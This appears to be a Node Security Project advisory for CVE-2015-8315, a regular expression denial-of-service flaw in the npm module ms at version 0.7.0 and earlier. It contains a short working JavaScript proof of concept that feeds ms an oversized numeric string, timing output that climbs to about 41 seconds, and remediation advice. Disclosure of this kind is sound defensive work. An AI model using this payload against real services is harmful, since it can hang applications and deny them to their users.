Regular Expression Denial of Service

Module: ms

Published: October 24th, 2015

Reported by: Adam Baldwin

CVE-2015-8315

CWE-400

Vulnerable: <=0.7.0
Patched: >0.7.0

Overview

ms is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.

"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time."[1]

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real    0m0.758s
user    0m0.724s
sys    0m0.031s

$ time node ms.js 20000

real    0m2.580s
user    0m2.494s
sys    0m0.047s

$ time node ms.js 30000

real    0m5.747s
user    0m5.483s
sys    0m0.080s

$ time node ms.js 80000

real    0m41.022s
user    0m38.894s
sys    0m0.529s

Remediation

Update to version 0.7.1 or greater. An alternative would be to limit the input length of the user input before passing it into ms.

References

Sign up FREE for
nsp Continuous Security

Free for open source and the first private repo,
then just $1/mo per private repo